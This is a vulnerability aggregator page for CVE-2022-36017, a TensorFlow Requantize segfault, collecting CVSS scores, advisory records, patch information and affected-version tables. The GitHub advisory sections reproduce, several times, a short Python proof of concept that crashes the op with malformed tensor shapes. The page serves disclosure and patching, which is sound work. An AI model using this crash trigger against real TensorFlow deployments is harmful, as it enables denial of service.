CVE-2022-36017

Segfault in `Requantize` in TensorFlow

5.9 MediumFix available

TensorFlow is an open source platform for machine learning. If Requantize is given input_min, input_max, requested_output_min, requested_output_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack. We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0. The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range. There are no known workarounds for this issue.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: High
Privileges needed: None
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: None
Availability: High

Exploit likelihood

0.51%Down 0.4 points since Sep 17, 2022

What each source reports

CVE List Score used 5.9

Segfault in `Requantize` in TensorFlow

Record: CVE-2022-36017
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-20
Updated: 2026-11-02

EUVDEUVD-2022-6965 5.9

Record: EUVD-2022-6965
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

GitHub AdvisoriesGHSA-wqmc-pm8c-2jhc 5.9

TensorFlow vulnerable to segfault in `Requantize`

Impact

If Requantize is given input_min, input_max, requested_output_min, requested_output_max tensors of a nonzero rank, it results in a segfault that can be used to trigger a denial of service attack.

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

Patches

We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Record: GHSA-wqmc-pm8c-2jhc
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-20
Updated: 2026-11-02

NVD 5.9

Record: CVE-2022-36017
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
CVSS 3.1: 7.5 HighCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-20
Updated: 2026-11-02

OSV 5.9

Segfault in `Requantize` in TensorFlow

Record: CVE-2022-36017
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-20
Updated: 2026-11-02

OSVGHSA-wqmc-pm8c-2jhc 5.9

TensorFlow vulnerable to segfault in `Requantize`

Impact

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

Patches

We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Record: GHSA-wqmc-pm8c-2jhc
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Weakness: CWE-20
Updated: 2026-11-02

Show 5 moreShow less

OSVPYSEC-2026-1045 5.9

TensorFlow vulnerable to segfault in `Requantize`

Impact

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

Patches

We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Record: PYSEC-2026-1045
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSVPYSEC-2026-3256 5.9

TensorFlow vulnerable to segfault in `Requantize`

Impact

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

Patches

We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Record: PYSEC-2026-3256
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSVPYSEC-2026-3379 5.9

TensorFlow vulnerable to segfault in `Requantize`

Impact

import tensorflow as tf

out_type = tf.quint8
input = tf.constant([1], shape=[3], dtype=tf.qint32)
input_min = tf.constant([], shape=[0], dtype=tf.float32)
input_max = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_min = tf.constant(-256, shape=[1], dtype=tf.float32)
requested_output_max = tf.constant(-256, shape=[1], dtype=tf.float32)
tf.raw_ops.Requantize(input=input, input_min=input_min, input_max=input_max, requested_output_min=requested_output_min, requested_output_max=requested_output_max, out_type=out_type)

Patches

We have patched the issue in GitHub commit 785d67a78a1d533759fcd2f5e8d6ef778de849e0.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.

Record: PYSEC-2026-3379
CVSS 3.1: 5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Updated: 2026-11-02

OSVBIT-tensorflow-2022-36017 No score

Segfault in `Requantize` in TensorFlow

Record: BIT-tensorflow-2022-36017
Updated: 2026-11-02

OSVopenSUSE-SU-2024:12355-1 No score

tensorflow-lite-2.10.0-1.1 on GA media

These are all security issues fixed in the tensorflow-lite-2.10.0-1.1 package on the GA media of openSUSE Tumbleweed.

Record: openSUSE-SU-2024:12355-1
Updated: 2026-11-02

Affected products

Affected packages

Affected packages
Package	Affected	Fixed
`tensorflow` PyPI	before 2.7.2	2.7.2
`tensorflow` PyPI	2.8.0 up to 2.8.1	2.8.1
`tensorflow` PyPI	2.9.0 up to 2.9.1	2.9.1
`tensorflow-cpu` PyPI	before 2.7.2	2.7.2
`tensorflow-cpu` PyPI	2.8.0 up to 2.8.1	2.8.1
`tensorflow-cpu` PyPI	2.9.0 up to 2.9.1	2.9.1
`tensorflow-gpu` PyPI	before 2.7.2	2.7.2
`tensorflow-gpu` PyPI	2.8.0 up to 2.8.1	2.8.1
`tensorflow-gpu` PyPI	2.9.0 up to 2.9.1	2.9.1
`tensorflow` Bitnami	before 2.7.2, 2.8.0 up to 2.8.1, 2.9.0 up to 2.9.1	2.7.22.8.12.9.1

Show 6 moreShow less

Affected packages
Package	Affected	Fixed
`tensorflow` PyPI	before 2.7.2, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less 1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4	2.7.2
`tensorflow-cpu` PyPI	before 2.7.2, plus listed versions 1.15.02.1.02.1.12.1.22.1.3 Show 27 moreShow less 2.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.4.32.4.42.5.02.5.12.5.22.5.32.6.02.6.12.6.22.6.32.6.42.6.52.7.02.7.1	2.7.2
`tensorflow-gpu` PyPI	before 2.7.2, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less 1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4	2.7.2
`tensorflow-gpu` PyPI	before 2.7.2, 2.8.0 up to 2.8.1, 2.9.0 up to 2.9.1, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less 1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4	2.7.22.8.12.9.1
`tensorflow` PyPI	before 2.7.2, 2.8.0 up to 2.8.1, 2.9.0 up to 2.9.1, plus listed versions 0.12.00.12.11.0.01.0.11.1.0 Show 45 moreShow less 1.10.01.10.11.11.01.12.01.12.21.12.31.13.11.13.21.14.01.15.01.15.21.15.31.15.41.15.51.2.01.2.11.3.01.4.01.4.11.5.01.5.11.6.01.7.01.7.11.8.01.9.02.0.02.0.12.0.22.0.32.0.42.1.02.1.12.1.22.1.32.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.4	2.7.22.8.12.9.1
`tensorflow-cpu` PyPI	before 2.7.2, 2.8.0 up to 2.8.1, 2.9.0 up to 2.9.1, plus listed versions 1.15.02.1.02.1.12.1.22.1.3 Show 27 moreShow less 2.1.42.2.02.2.12.2.22.2.32.3.02.3.12.3.22.3.32.3.42.4.02.4.12.4.22.4.32.4.42.5.02.5.12.5.22.5.32.6.02.6.12.6.22.6.32.6.42.6.52.7.02.7.1	2.7.22.8.12.9.1

History

History
Recorded	Changed	Sources
Nov 6, 2026	facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2022-36017 is a medium vulnerability (CVSS 5.9) in Google Tensorflow, published September 16, 2022. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.51%, the 43rd percentile. Fixed in tensorflow 2.7.2.

References

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This page doesn't list everything

Left out here: 82 versions. The JSON record has them.